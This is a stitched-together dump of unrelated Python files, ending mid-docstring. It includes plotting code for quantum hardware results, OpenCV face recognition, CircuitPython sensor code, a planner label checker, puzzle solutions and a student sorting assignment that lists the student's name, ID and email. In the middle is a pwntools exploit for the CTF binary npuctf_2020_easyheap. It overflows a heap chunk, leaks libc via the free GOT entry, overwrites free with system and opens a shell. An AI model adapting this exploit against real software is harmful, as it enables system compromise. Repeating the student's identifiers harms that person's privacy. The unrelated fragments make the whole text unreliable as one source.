# Import the relevant libraries
import os
import pickle
import numpy as np

import numpy             as     np
import matplotlib        as     mpl
import matplotlib.pyplot as     plt
import matplotlib.ticker as mticker
from matplotlib.lines import Line2D

from   matplotlib        import rc
from   cycler            import cycler

import json

import time
import math
import pickle
import sys

from cmcrameri import cm

cmp = cm.vik.colors

_widths = {
    # a4paper columnwidth = 426.79135 pt = 5.93 in
    # letterpaper columnwidth = 443.57848 pt = 6.16 in
    'onecolumn': {
        'a4paper' : 5.93,
        'letterpaper' : 6.16
    },
    # a4paper columnwidth = 231.84843 pt = 3.22 in
    # letterpaper columnwidth = 240.24199 pt = 3.34 in
    'twocolumn': {
        'a4paper' : 3.22,
        'letterpaper' : 3.34
    }
}

_wide_widths = {
    # a4paper wide columnwidth = 426.79135 pt = 5.93 in
    # letterpaper wide columnwidth = 443.57848 pt = 6.16 in
    'onecolumn': {
        'a4paper' : 5.93,
        'letterpaper' : 6.16
    },
    # a4paper wide linewidth = 483.69687 pt = 6.72 in
    # letterpaper wide linewidth = 500.48400 pt = 6.95 in
    'twocolumn': {
        'a4paper' : 6.72,
        'letterpaper' : 6.95
    }
}

_fontsizes = {
    10 : {
        'tiny' : 5,
        'scriptsize' : 7,
        'footnotesize' : 8,
        'small' : 9,
        'normalsize' : 10,
        'large' : 12,
        'Large' : 14,
        'LARGE' : 17,
        'huge' : 20,
        'Huge' : 25
    },
    11 : {
        'tiny' : 6,
        'scriptsize' : 8,
        'footnotesize' : 9,
        'small' : 10,
        'normalsize' : 11,
        'large' : 12,
        'Large' : 14,
        'LARGE' : 17,
        'huge' :  20,
        'Huge' :  25
    },
    12 : {
        'tiny' : 6,
        'scriptsize' : 8,
        'footnotesize' : 10,
        'small' : 11,
        'normalsize' : 12,
        'large' : 14,
        'Large' : 17,
        'LARGE' : 20,
        'huge' :  25,
        'Huge' :  25
    }
}

_width         = 1
_wide_width    = 1
_quantumviolet = '#53257F'
_quantumgray   = '#555555'

# Sets up the plot with the fitting arguments so that the font sizes of the plot
# and the font sizes of the document are well aligned
#
#     columns : string = ('onecolumn' | 'twocolumn')
#         the columns you used to set up your quantumarticle,
#         defaults to 'twocolumn'
#
#     paper : string = ('a4paper' | 'letterpaper')
#         the paper size you used to set up your quantumarticle,
#         defaults to 'a4paper'
#
#     fontsize : int = (10 | 11 | 12)
#         the fontsize you used to set up your quantumarticle as int
#
#     (returns) : dict
#         parameters that can be used for plot adjustments

def global_setup(columns = 'twocolumn', paper = 'a4paper', fontsize = 10):
    plt.rcdefaults()

    # Seaborn white is a good base style
    plt.style.use(['seaborn-v0_8-white', 'quantum-plots.mplstyle'])

    #try:
        # This hackery is necessary so that jupyther shows the plots
    #    mpl.use("pgf")
        #%matplotlib inline
    #    plt.plot()
    #    mpl.use("pgf")
    #except:
    #    print('Call to matplotlib.use had no effect')

    #mpl.interactive(False)

    # Now prepare the styling that depends on the settings of the document

    global _width
    _width = _widths[columns][paper]

    global _wide_width
    _wide_width = _wide_widths[columns][paper]

    # Use the default fontsize scaling of LaTeX
    global _fontsizes
    fontsizes = _fontsizes[fontsize]

    plt.rcParams['axes.labelsize']  = fontsizes['normalsize']
    plt.rcParams['axes.titlesize']  = fontsizes['normalsize']
    plt.rcParams['xtick.labelsize'] = fontsizes['footnotesize']
    plt.rcParams['ytick.labelsize'] = fontsizes['footnotesize']
    plt.rcParams['font.size']       = fontsizes['small']
    plt.rcParams['legend.fontsize'] = fontsizes['footnotesize']

    return {
            'fontsizes' : fontsizes,
            'colors' : {
                'quantumviolet' : _quantumviolet,
                'quantumgray' : _quantumgray
            }
        }

# Sets up the plot with the fitting arguments so that the font sizes of the plot
# and the font sizes of the document are well aligned
#
#     aspect_ratio : float
#         the aspect ratio (width/height) of your plot
#         defaults to the golden ratio
#
#     width_ratio : float in [0, 1]
#         the width of your plot when you insert it into the document, e.g.
#         .8 of the regular width
#         defaults to 1.0
#
#     wide : bool
#         indicates if the figures spans two columns in twocolumn mode, i.e.
#         when the figure* environment is used, has no effect in onecolumn mode
#         defaults to False
#
#     (returns) : matplotlib figure object
#         the initialized figure object

def plot_setup(aspect_ratio = 1/1.62, width_ratio = 1.0, wide = False):
    width = (_wide_width if wide else _width) * width_ratio
    height = width * aspect_ratio

    return plt.figure(figsize=(width,height), dpi=120, facecolor='white')

print('Setup methods loaded')

props = global_setup(columns = 'twocolumn', paper = 'a4paper', fontsize = 11)

##########################################################################################################

#os.chdir('data_and_figures/driven_xyz_on_hardware')

## Exact dataset
exact_data = np.load('exact_xyz_floquet_n_qubits=4_params=1_0.8_0.6_0_bc=open.npz')

## Trotter datasets
# Noisy:
noisy_trotter_datasets = []
noisy_trotter_dir = 'manila_noisy_znequad123_dd_trotter/'
for filename in os.listdir(noisy_trotter_dir):
    with open(noisy_trotter_dir+filename, 'rb') as f:
        noisy_trotter_datasets.append(pickle.load(f))
# Hardware:
hardware_trotter_datasets = []
hardware_trotter_dir = 'manila_hardware_znequad123_dd_trotter/'
for filename in os.listdir(hardware_trotter_dir):
    with open(hardware_trotter_dir+filename, 'rb') as f:
        hardware_trotter_datasets.append(pickle.load(f))

## Pool Adaptive pVQD datasets
# Noisy:
noisy_pool_adap_datasets = []
noisy_pool_adap_dir = 'manila_noisy_znequad123_dd_pool/'
for filename in os.listdir(noisy_pool_adap_dir):
    with open(noisy_pool_adap_dir+filename, 'rb') as f:
        noisy_pool_adap_datasets.append(pickle.load(f))
# Hardware:
hardware_pool_adap_datasets = []
hardware_pool_adap_dir = 'manila_hardware_znequad123_dd_pool/'
for filename in os.listdir(hardware_pool_adap_dir):
    with open(hardware_pool_adap_dir+filename, 'rb') as f:
        hardware_pool_adap_datasets.append(pickle.load(f))

# Get the time axes
times = np.arange(0, 2.05, 0.05)

# Instantiate the 3-panel plot
fig, ax = plt.subplots(2, 1, sharex=True,dpi=100,figsize=(3.4,5.1))#, gridspec_kw = {'hspace':0.05})
#fig.set_figheight(4)
#fig.set_figwidth(4)

# Color scheme
green = ["#a1d99b","#31a354"]
blue = ["#9ecae1","#3182bd"]

# Noisy:
noisy_trot_z0s = [np.array(x[0]) for x in noisy_trotter_datasets]
noisy_trot_z0_max = np.max(noisy_trot_z0s, axis=0)
noisy_trot_z0_min = np.min(noisy_trot_z0s, axis=0)

noisy_trot_z0z1s = [np.array(x[1]) for x in noisy_trotter_datasets]
noisy_trot_z0z1_max = np.max(noisy_trot_z0z1s, axis=0)
noisy_trot_z0z1_min = np.min(noisy_trot_z0z1s, axis=0)

noisy_pool_z0s = [np.array(x[0]) for x in noisy_pool_adap_datasets]
noisy_pool_z0_max = np.max(noisy_pool_z0s, axis=0)
noisy_pool_z0_min = np.min(noisy_pool_z0s, axis=0)

noisy_pool_z0z1s = [np.array(x[1]) for x in noisy_pool_adap_datasets]
noisy_pool_z0z1_max = np.max(noisy_pool_z0z1s, axis=0)
noisy_pool_z0z1_min = np.min(noisy_pool_z0z1s, axis=0)

# Hardware:
hard_trot_z0s = [np.array(x[0]) for x in hardware_trotter_datasets]
hard_trot_z0_mean = np.mean(hard_trot_z0s, axis=0)
hard_trot_z0_std = np.std(hard_trot_z0s, axis=0)

hard_trot_z0z1s = [np.array(x[1]) for x in hardware_trotter_datasets]
hard_trot_z0z1_mean = np.mean(hard_trot_z0z1s, axis=0)
hard_trot_z0z1_std = np.std(hard_trot_z0z1s, axis=0)

hard_pool_z0s = [np.array(x[0]) for x in hardware_pool_adap_datasets]
hard_pool_z0_mean = np.mean(hard_pool_z0s, axis=0)
hard_pool_z0_std = np.std(hard_pool_z0s, axis=0)

hard_pool_z0z1s = [np.array(x[1]) for x in hardware_pool_adap_datasets]
hard_pool_z0z1_mean = np.mean(hard_pool_z0z1s, axis=0)
hard_pool_z0z1_std = np.std(hard_pool_z0z1s, axis=0)

### Top panel to plot <z0>
## Trotter
trot_noisy=ax[0].fill_between(times[0::4], noisy_trot_z0_min, noisy_trot_z0_max, facecolor=green[0],
                              edgecolor=green[1], linewidth=0.3, hatch='||', alpha=0.25)
trot_hard=ax[0].errorbar(times[0::4], hard_trot_z0_mean, hard_trot_z0_std, marker='^', markersize=4,
                        c=green[0], mec=green[1], ecolor=green[1], mew=0.6, fmt=' ', capsize=1.5, elinewidth=0.5, capthick=0.5)

## Pool Adaptive pVQD
pool_noisy=ax[0].fill_between(times[0::4], noisy_pool_z0_min, noisy_pool_z0_max, facecolor=blue[0],
                              edgecolor=blue[1], linewidth=0.3, hatch='..', alpha=0.25)
pool_hard=ax[0].errorbar(times[0::4], hard_pool_z0_mean, hard_pool_z0_std, marker='o', markersize=4,
                        c=blue[0], mec=blue[1], ecolor=blue[1], mew=0.6, fmt=' ', capsize=1.5, elinewidth=0.5, capthick=0.5)

ax[0].plot(exact_data['times'], exact_data['z0'], ls='--', linewidth=1, color='k')
ax[0].set(ylabel='$\\langle Z_0 \\rangle$')
ax[0].set_xlim(xmin=0, xmax=2)
ax[0].get_xaxis().set_visible(False)

### Bottom panel to plot <z0z1>
## Trotter
ax[1].fill_between(times[0::4], noisy_trot_z0z1_min, noisy_trot_z0z1_max, facecolor=green[0],
                              edgecolor=green[1], linewidth=0.3, hatch='||', alpha=0.25)
ax[1].errorbar(times[0::4], hard_trot_z0z1_mean, hard_trot_z0z1_std, marker='^', markersize=4,
                        c=green[0], mec=green[1], ecolor=green[1], mew=0.6, fmt=' ', capsize=1.5, elinewidth=0.5, capthick=0.5)

## Pool Adaptive pVQD
ax[1].fill_between(times[0::4], noisy_pool_z0z1_min, noisy_pool_z0z1_max, facecolor=blue[0],
                              edgecolor=blue[1], linewidth=0.3, hatch='..', alpha=0.25)
ax[1].errorbar(times[0::4], hard_pool_z0z1_mean, hard_pool_z0z1_std, marker='o', markersize=4,
                        c=blue[0], mec=blue[1], ecolor=blue[1], mew=0.6, fmt=' ', capsize=1.5, elinewidth=0.5, capthick=0.5)

ax[1].plot(exact_data['times'], exact_data['z0z1'], ls='--', linewidth=1, color='k')
ax[1].set(ylabel='$\\langle Z_0 Z_1 \\rangle$')
ax[1].set_xlim(xmin=0, xmax=2)
ax[1].set_xlabel('$J_x t$')

ex = Line2D([], [], lw=1, label='Exact', color='k', linestyle='--')
empty = Line2D([], [], label=' ', linestyle=' ')
lg = ax[0].legend(handles=[ex, empty, trot_noisy, trot_hard, empty, empty, pool_noisy, pool_hard],
            labels=['Exact','','Noise model','Hardware',' ',
                    '','Noise model','Hardware'],
            loc='upper center', bbox_to_anchor=(0.5, 1.59), ncol=2, columnspacing=4.1,
            handleheight=1.5, labelspacing=0.35,borderpad=0.75)
#[lg.get_texts()[i].set_x(-17) for i in [1,5]]
#[lg.get_texts()[i].set_x(-35) for i in [1,5]]

ax[0].text(0.07, 1.83, 'Trotter, $dt=0.2$:', fontsize = 9,zorder=10000)
ax[0].text(1.18, 1.83, 'Adaptive pVQD:', fontsize = 9,zorder=10000)

#axd["A"].legend(loc="upper center", bbox_to_anchor=(0.777, 1.35),ncol=3,fancybox=False,numpoints=1,handlelength=1,columnspacing=1.1,handletextpad=0.4,borderpad=0.75)

#plt.rcParams.update({'font.size': 2})
ax[1].set_xticks([0,0.5,1,1.5,2])
ax[0].set_yticks([-0.5,0,0.5,1])
ax[1].set_yticks([0,-0.5,-1])
# plt.savefig("hardware_xyz_floquet_n_qubits=4_params=1_0.8_0.6_0_bc=open_tol=0.9999_shots=1e5.pdf", dpi=600, bbox_inches='tight')

plt.subplots_adjust(left=0.16,bottom=0.074,right=0.97,top=0.8,wspace=0.067,hspace=0.05)
plt.show()


import cv2
import os
import numpy as np
from PIL import Image
import pickle

def tanito():
    # konyvtár elérés
    BASE_DIR = os.path.dirname(os.path.abspath(__file__))
    image_dir = os.path.join(BASE_DIR, "images")
    # arc detektáló beolvasás
    face_cascade = cv2.CascadeClassifier('cascades/haarcascade_frontalface_default.xml')
    # felismerő létrehozás
    recognizer = cv2.face.LBPHFaceRecognizer_create()
    #tombok és azonositó létrehozás
    current_id = 0
    label_ids = {}
    y_labels = []
    x_train = []
    # kép mapparendszer bejárás
    for root, dirs, files in os.walk(image_dir):
        for file in files:
            if file.endswith("png") or file.endswith("jpg"):
                # kép kiolvasás
                path = os.path.join(root, file)
                label = os.path.basename(root).replace(" ", "-").lower()
                if not label in label_ids:
                    label_ids[label] = current_id
                    current_id += 1
                # azonosító beálítás
                id_ = label_ids[label]
                pil_image = Image.open(path).convert("L")  # szürke árnyalat
                image_array = np.array(pil_image, "uint8")
                # arc detektáló inicializálás
                faces = face_cascade.detectMultiScale(
                    image_array, scaleFactor=1.3, minNeighbors=5)
                for (x, y, w, h) in faces:
                    roi = image_array[y:y+h, x:x+w]
                    x_train.append(roi)
                    y_labels.append(id_)
    # azonoítok kimentése
    with open("labels.pickle", 'wb') as f:
        pickle.dump(label_ids, f)
    # felismerő tanítása
    recognizer.train(x_train, np.array(y_labels))
    recognizer.save("trainner.yml")
    print("Kesz!")
# tanito()


import cv2
import numpy as np
img = cv2.imread('bookpage.jpg')
grayscaled = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
retval, threshold = cv2.threshold(grayscaled, 12, 255, cv2.THRESH_BINARY)
gauss = cv2.adaptiveThreshold(grayscaled, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 57, 2)
cv2.imshow('original image', img)
cv2.imshow('threshold image', threshold)
cv2.imshow('gaussian threshold', gauss)
cv2.waitKey(0)
cv2.destroyAllWindows()


#type: ignore
import time
import board
import digitalio
import adafruit_mpu6050
import busio
from adafruit_display_text import label
import adafruit_displayio_ssd1306
import terminalio
import displayio

displayio.release_displays()

sda_pin = board.GP14
scl_pin = board.GP15
i2c = busio.I2C(scl_pin, sda_pin)
mpu = adafruit_mpu6050.MPU6050(i2c, address=0x68)

display_bus = displayio.I2CDisplay(i2c, device_address=0x3d, reset=board.GP16)
display = adafruit_displayio_ssd1306.SSD1306(display_bus, width=128, height=64)

ledr=digitalio.DigitalInOut(board.GP0) #Lines 7-10 led set up
ledr.direction=digitalio.Direction.OUTPUT

tiltT = .5
ledr.value=False

splash = displayio.Group()
title = "ANGULAR VELOCITY"
text_area = label.Label(terminalio.FONT, text=title, color=0xFFFF00, x=5, y=5)
splash.append(text_area)
display.show(splash)

while True:
    Acceleration = mpu.acceleration
    Xa,Ya,Za=Acceleration

    print(f" Acceleration X:{Xa:.3f}, Y:{Ya:.3f}, Z:{Za:.3f}.")

    avtext = f" Acceleration \n X:{Xa:.3f} \n Y:{Ya:.3f} \n Z:{Za:.3f}"
    text_area.text = avtext
    time.sleep(.1)

    if (tiltT) > (Za):
        ledr.value=True
        print("led on")
        time.sleep(.1)

    else:
        ledr.value=False


#!/usr/bin/env python3

import json
from pathlib import Path
import re
from subprocess import check_output

import project
import tracks

DIR = Path(__file__).resolve().parent
EXPERIMENTS_DIR = DIR.parent
REPO = DIR.parent
IPC_DIR = REPO.parent
IMAGES_DIR = IPC_DIR / "images"
HAS_APPTAINER = not project.running_on_cluster()

class IPCPlanner:
    MAIN_LABELS = ["Name", "Description", "Authors", "License", "Tracks"]
    PDDL_PROPERTIES = ["DerivedPredicates",
                      "UniversallyQuantifiedPreconditions",
                      "ExistentiallyQuantifiedPreconditions",
                      "UniversallyQuantifiedEffects",
                      "NegativePreconditions",
                      "EqualityPreconditions",
                      "InequalityPreconditions",
                      "ConditionalEffects",
                      "ImplyPreconditions"]
    EMAIL_PATTERN = re.compile(r"(?P<name>[^<>]+)\<(?P<email>[A-z0-9.-]+@[A-z0-9.-]+\.\w+)\>")

    def __init__(self, image_path):
        self.image_path = Path(image_path)
        self.shortname = self.image_path.stem.replace(".", "_")
        assert self.image_path.exists(), self.image_path
        if HAS_APPTAINER:
            self._read_labels()

    def _read_labels(self):
        output = check_output(["apptainer", "inspect", "--labels", "--json", str(self.image_path)])
        properties = json.loads(output.decode()).get("data", {}).get("attributes", {}).get("labels", {})

        self.warnings = []
        for label in IPCPlanner.MAIN_LABELS + [f"Supports{p}" for p in IPCPlanner.PDDL_PROPERTIES]:
            if label not in properties:
                self.warnings.append(f"Missing label: {label}")

        self.name = properties.get("Name", "").strip()
        self.description = properties.get("Description", "").strip()

        self.authors = [a.strip() for a in properties.get("Authors", "").split(",")]
        self.author_names = []
        self.author_emails = []
        for author in self.authors:
            m = re.match(IPCPlanner.EMAIL_PATTERN, author)
            if m:
                self.author_names.append(m.group("name").strip())
                self.author_emails.append(m.group("email"))
            else:
                self.author_names.append(author)
                self.warnings.append(f"Author does not match pattern: '{author}'")

        self.license = properties.get("License", "")
        if self.license not in ["GPL 3", "MIT"]:
            self.warnings.append(f"Unknown license '{self.license}'")

        self.tracks = set([t.strip().lower() for t in properties.get("Tracks", "").split(",")])
        if not self.tracks:
            self.warnings.append(f"Planner does not participate in any tracks")
        for track in self.tracks:
            if track not in tracks.ALL:
                self.warnings.append(f"Unknown track '{track}'")

        self.unconditionally_supports = set()
        self.conditionally_supports = dict()
        for p in IPCPlanner.PDDL_PROPERTIES:
            label = f"Supports{p}"
            answer = properties.get(label, "no").strip().lower()
            if answer == "yes":
                self.unconditionally_supports.add(p)
            elif answer.startswith("partially"):
                self.conditionally_supports[p] = answer
            elif answer != "no":
                self.warnings.append(f"Answer to support question unclear '{label}: {answer}'")

SINGLE_CORE_LEARNERS = [
    "downward_smac.learn.sif",
    "pgp.learn.sif",
    "huzar.learn.sif",
    "ngpnum.learn.sif",
    "ngpstrips.learn.sif",
    "gofai.learn.sif",
    "asnets.learn.sif",
    "h_policy.learn.sif",
]

MULTI_CORE_LEARNERS = [
    #"gofai.multicore.learn.sif",  # Only use single-core variant since we only use one core.
    "muninn.learn.sif",
]

SINGLE_CORE_PLANNERS = [
    "downward_smac.plan.sif",
    "pgp.plan.sif",
    "huzar.plan.sif",
    "ngpnum.plan.sif",
    "ngpstrips.plan.sif",
    "gofai.plan.sif",
    "asnets.plan.sif",
    "h_policy.plan.sif",
]

MULTI_CORE_PLANNERS = [
    #"gofai.plan.sif",
    "muninn.plan.sif",
]

def get_learners(track=None):
    paths = SINGLE_CORE_LEARNERS if track == tracks.SINGLE_CORE else MULTI_CORE_LEARNERS
    return [IPCPlanner(IMAGES_DIR / path) for path in paths]

def get_all_learners():
    return get_learners(tracks.SINGLE_CORE) + get_learners(tracks.MULTI_CORE)

def get_all_planners():
    return [IPCPlanner(IMAGES_DIR / path) for path in SINGLE_CORE_PLANNERS + MULTI_CORE_PLANNERS]

def get_participating(track=None):
    planners = []
    for image in IPC_DIR.glob("*/*.sif"):
        planner = IPCPlanner(image)
        if track is None or track in planner.tracks:
            planners.append(planner)
    return planners

def create_website_text(track=None):
    if track is None:
        return "\n".join(create_website_text(track) for track in tracks.ALL)

    lines = [f"### {track}"]
    for planner in get_participating(track):
        lines.append(f"""
* **{planner.name}** [(planner abstract)](TODO{planner.shortname}_{track}.pdf)
  *{", ".join(planner.author_names)}*
  {planner.description}""")
    return "\n".join(lines)

if __name__ == "__main__":
    print(create_website_text())
    print()
    for planner in get_participating():
        for w in planner.warnings:
            print(f"{planner.shortname}: {w}")


# https://www.acmicpc.net/problem/20056
# 3:26
direction = {0: (-1, 0), 1: (-1, 1), 2: (0, 1), 3: (1, 1), 4: (1, 0), 5: (1, -1), 6: (0, -1), 7: (-1, -1)}
answer = 0
N, M, K = map(int, input().split())
board = [[[] for _ in range(N)] for _ in range(N)]
visited = [[[] for _ in range(N)] for _ in range(N)]
for _ in range(M):
    r, c, m, s, d = map(int, input().split())
    board[r - 1][c - 1].append([m, s, d])
    answer += m

for _ in range(K):
    for i in range(N):
        for j in range(N):
            if board[i][j]:
                while board[i][j]:
                    m, s, d = board[i][j].pop()
                    ni = (i + direction[d][0] * s) % N
                    nj = (j + direction[d][1] * s) % N
                    visited[ni][nj].append([m, s, d])
    for i in range(N):
        for j in range(N):
            if len(visited[i][j]) > 1:
                cnt = len(visited[i][j])
                sum_m = 0
                sum_s = 0
                sum_d = set()
                while visited[i][j]:
                    m, s, d = visited[i][j].pop()
                    sum_m += m
                    sum_s += s
                    sum_d.add(d % 2)
                answer -= sum_m
                if sum_m < 5:
                    continue
                sum_m //= 5
                sum_s //= cnt
                y = len(sum_d) - 1
                for x in range(4):
                    board[i][j].append([sum_m, sum_s, 2 * x + y])
                answer += sum_m * 4
            elif visited[i][j]:
                board[i][j].append(visited[i][j].pop())
print(answer)


#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda a:p.sendline(a)
sd = lambda a:p.send(a)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda a,b:p.sendlineafter(a,b)
rv = lambda a:p.recv(a)
ru = lambda a:p.recvuntil(a)
ia = lambda :p.interactive()
context.log_level = 'debug'

if(sys.argv[1] == 'l'):
	p = process('./npuctf_2020_easyheap')
	elf = ELF('./npuctf_2020_easyheap',checksec=False)
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

else:
	p = remote('node3.buuoj.cn',27784)
	elf = ELF('./npuctf_2020_easyheap',checksec=False)
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def menu(cmd):
    sla("Your choice :",str(cmd))

def add(size,content):
    menu(1)
    sla(") : ",str(size))
    sda("Content:",content)

def edit(idx,content):
    menu(2)
    sla("Index :",str(idx))
    sda("Content: ",content)

def show(idx):
    menu(3)
    sla("Index :",str(idx))

def delete(idx):
    menu(4)
    sla("Index :",str(idx))

free_got = elf.got['free']

###leak libc###
add(0x38,'AAAA')#0
add(0x18,'BBBB')#1
add(0x18,'CCCC')#2
add(0x18,'/bin/sh\x00')#3

payload = 'A' * 0x30 + p64(0) + '\x41'
edit(0,payload)

delete(1)

payload = p64(0) + p64(0) + p64(0) + p64(0x21) + p64(0x8) + p64(free_got)
add(0x38,payload)#1

show(1)
free = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.symbols['free']

system = libc_base + libc.symbols['system']

###modify GOT###
edit(1,p64(system))

###get shell###
delete(3)
ia()


import os
from contextlib import contextmanager
from math import prod
from typing import IO, ContextManager, Generator, List, Tuple

import pytest

from ..day3.trajectory import slide_down

@contextmanager
def file_read(filename: str) -> Generator:
    f = open(filename)
    yield f
    f.close()

@pytest.fixture
def processed_map() -> List[List[int]]:
    """
    Returns the test input.
    """
    dir_path = os.path.dirname(os.path.realpath(__file__))
    cm: ContextManager[IO] = file_read(dir_path + "/testinputs/day3")
    with cm as input_file:
        input_map: List[str] = input_file.read().splitlines()
    processed: List[List[int]] = [[0 if i == "." else 1 for i in j] for j in input_map]
    return processed

def test_slide_slope_once(processed_map: List[List[int]]):
    """
    Tests if the slide_down function works correctly.
    """
    initial_slope: Tuple[int, int] = (3, 1)
    assert slide_down(processed_map, initial_slope) == 7

def test_slide_many_slopes(processed_map: List[List[int]]):
    """
    Tests if the slide_down function works for all slopes.
    """
    slopes: List[Tuple[int, int]] = [(1, 1), (3, 1), (5, 1), (7, 1), (1, 2)]
    assert prod([slide_down(processed_map, i) for i in slopes]) == 336


from collections import deque
from typing import *

def parse(input: str, *args, **kwargs):
    return input.strip()

def generalize(data, start_of_message_len=4, debug=False):
    q = deque(maxlen=start_of_message_len)
    for i, c in enumerate(data):
        q.appendleft(c)
        if debug:
            print(q, set(q))
        if len(set(q)) == start_of_message_len:
            break
    else:
        print("No solution found")

    return i + 1

def solve_1(data, *args, debug=False, test=False, **kwargs) -> int:
    return generalize(data, debug=debug)

def solve_2(data, *args, debug=False, test=False, **kwargs) -> int:
    return generalize(data, start_of_message_len=14, debug=debug)

def test(*args, debug=False, test=False, **kwargs):
    success = True

    for tc, tr in TESTS.items():
        trr = solve_1(parse(tc), debug=debug)
        if trr != tr:
            print(f"Got {trr} != {tr} for: {tc}")
            success = False

    return success

TESTS = {
    "bvwbjplbgvbhsrlpgdmjqwftvncz": 5,
    "nppdvjthqldpwncqszvftbrmjlhg": 6,
    "nznrnfrfntjfmvfwmzdfjlvtqnbhcprsg": 10,
    "zcfzfwzzqfrljwzlrfnpqdbhtmscgvjw": 11,
}

TEST_INPUT = """
bvwbjplbgvbhsrlpgdmjqwftvncz
"""

TEST_RESULT_1 = 5
TEST_RESULT_2 = 23


"""
leetcode 152 最大子数组积
给定一个整数数组nums，找出一个序列中乘积最大的连续子序列（该序列至少包含一个数）。
类似题目：leetcode 53 最大子数组和
思路：和变为积，考虑序列中出现的负数和零这两种特殊情况。保留数组中的最大和最小子序列积，当遇到负数时，进行交换，ans变量保存目前的最大子序列积。
时间复杂度O(n),附加空间复杂度O(1),运行时间64ms, 内存消耗13.4MB.
"""

from typing import List

class Solution:
    def maxProduct(self, nums: List[int]) -> int:
        res, _max, _min = float('-inf'), 1, 1
        for num in nums:
            if num < 0:
                _max, _min = _min, _max
            # 下面两行相当于最大子数组和中的sum=max(sum,0)
            # 当当前值num大于_max或小于_min时，抛弃前面序列，重置_max或_min
            _max = max(num, num*_max)
            _min = min(num, num*_min)
            # 相当于最大子数组和贪心解法中的res=max(res, sum)
            res = max(res, _max)
        return res


"""                                            +
Unit: FIT2004 - Algorithms and Data Structures +
---------------------------------------------- +
Assignment 1                                   +
Submission Date: 19 - 8 - 2022                 +
---------------------------------------------- +
Student Name:   Garret Yong Shern Min          +
Student ID:     31862616                       +
Student Email:  gyon0004@student.monash.edu    +
______________________________________________ +
"""
import math

def counting_sort_int(int_list, col, index):
    """
    This is a specialised counting sort algorithm that sorts integers in a list (of lists) while maintaining its order.
    - First a bucket list with 11 spaces for 10 numbers (0-9) and one padded number
    - The frequency of each number (and pad) in the selected column is calculated (achieved using number//10^column % 10)
    - Iterate through all the numbers in bucket list to find the frequency of each number to insert into the output
        - When the frequency is found (>0) then the integer list would be iterated through until a match is found
            - The match in the integer list is removed and inserted into the output list
    - After all the characters is inserted back into the output list, return the output list

    :Input:
        :param int_list:    Is the list of lists with numbers in a specific index
        :param col:         Is the column that is being analysed
        :param index:       Is the index of the integer in the list of lists to be analysed and sorted

    :return: output_list:   Is a list of the "sorted" list based on the current column (index)

    Time complexity:
        Worst: O(N)
    Space complexity:
        Aux: O(MN)
    """
    # Finding the largest number in list
    largest_num = int_list[0][index]  # Time: O(1)
    for matches in int_list:  # Time: O(N)
        if matches[index] > largest_num:  # Time: O(1)
            largest_num = matches[index]  # Time: O(1)

    # Initialising bucket
    bucket_list = [0] * 11

    # Counting the frequency of numbers
    for matches in int_list:
        num_in_specified_column = -1
        if matches[index] == 0:
            if col < 1:
                num_in_specified_column = 0
        else:
            if col < (math.floor(math.log10(matches[index]))+1):
                num_in_specified_column = ((matches[index])//10 ** col) % 10
        bucket_list[num_in_specified_column+1] = bucket_list[num_in_specified_column+1] + 1

    # Prepping output
    output_list = []
    for i in range(0, len(bucket_list)):
        # Letter to be inserted based on index of bucket
        insert_number = i -1
        frequency = bucket_list[i]
        # Index used to traverse the input (to find a matching letter)
        traverse_string_list_index = 0

        # Keep inserting items of this alphabet until reach frequency
        while frequency != 0:
            # Default the number at 0 (padding number) and increment based on the current number in column
            number = -1
            if int_list[traverse_string_list_index][index] != 0:
                if col < (math.floor(math.log10(int_list[traverse_string_list_index][index])) + 1):

                    number = ((int_list[traverse_string_list_index][index]) //10**col)%10
            else:
                if col < 1:
                    number = 0
            # If matching letters then remove from old list (input) and into new list (output)
            if number == insert_number:
                output_list.append(int_list[traverse_string_list_index])
                int_list.pop(traverse_string_list_index)
                # Decrement the frequency to be able to terminate loop
                frequency -= 1
            else:
                # Increment traversing index to signal for next string
                traverse_string_list_index += 1
    return output_list

def counting_sort_string(string_list, column):
    """
    This is a counting sort algorithm that sorts characters in a list while maintaining its order.
    - First a bucket list with 27 spaces for 26 letters and one padded letter
    - The frequency of each letter (and pad) is calculated
    - Iterate through all the letters in bucket list to find the frequency of each letter to insert into the output
        - When the frequency is found (>0) then the string list would be iterated through until a match is found
            - The letter in the string list is removed and inserted into the output list
    - After all the characters is inserted back into the output list, return the output list

    :Input:
        :param string_list: Is the list of characters to be sorted
        :param column:      Is the current column (index) being analysed

    :return: output_list:   Is a list of the "sorted" list based on the current column (index)

    Time complexity:
        Worst: O(M)
    Space complexity:
        Aux: O(M)
    """
    number_of_letters_in_alphabet = 26  # Time: O(1)
    code_for_A = ord('A')  # Time: O(1)

    # Initialising bucket
    bucket_list = [0] * (number_of_letters_in_alphabet + 1)  # Add 1 for padded number | Time: O(1)  Space: O(1)

    # Counting the frequency of letters
    for word in string_list:  # Time: O(M)
        letter_worth = 0  # Time: O(1)
        if column < len(word):  # Time: O(1)
            letter_worth = ord(word[column]) - code_for_A + 1  # Time: O(1)
        bucket_list[letter_worth] += 1  # Time: O(1)

    # Prepping output
    output_list = []  # Space: O(M)
    for i in range(0, len(bucket_list)):  # Time: O(1)
        # Letter to be inserted based on index of bucket
        insert_letter = i  # Time: O(1)
        frequency = bucket_list[i]  # Time: O(1)
        # Index used to traverse the input (to find a matching letter)
        traverse_string_list_index = 0  # Space: O(1)

        # Keep inserting items of this alphabet until reach frequency
        while frequency != 0:
            # Default the letter at 0 (padding letter) and increment based on the current letter in column
            letter = 0  # Time: O(1)
            if column < len(string_list[traverse_string_list_index]):  # Time: O(1)
                letter = ord(string_list[traverse_string_list_index][column]) - code_for_A + 1  # Time: O(1)

            # If matching letters then remove from old list (input) and into new list (output)
            if letter == insert_letter:  # Time: O(1)
                output_list.append(string_list[traverse_string_list_index])  # Time: O(1)
                string_list.pop(traverse_string_list_index)  # Time: O(1)
                # Decrement the frequency to be able to terminate loop
                frequency -= 1  # Time: O(1)
            else:
                # Increment traversing index to signal for next string
                traverse_string_list_index += 1  # Time: O(1)

    return output_list  # Time: O(1)

def counting_sort_team(team_list, column, team):
    """
    This is a counting sort algorithm that sorts a list of lists for a selected index while maintaining its order.
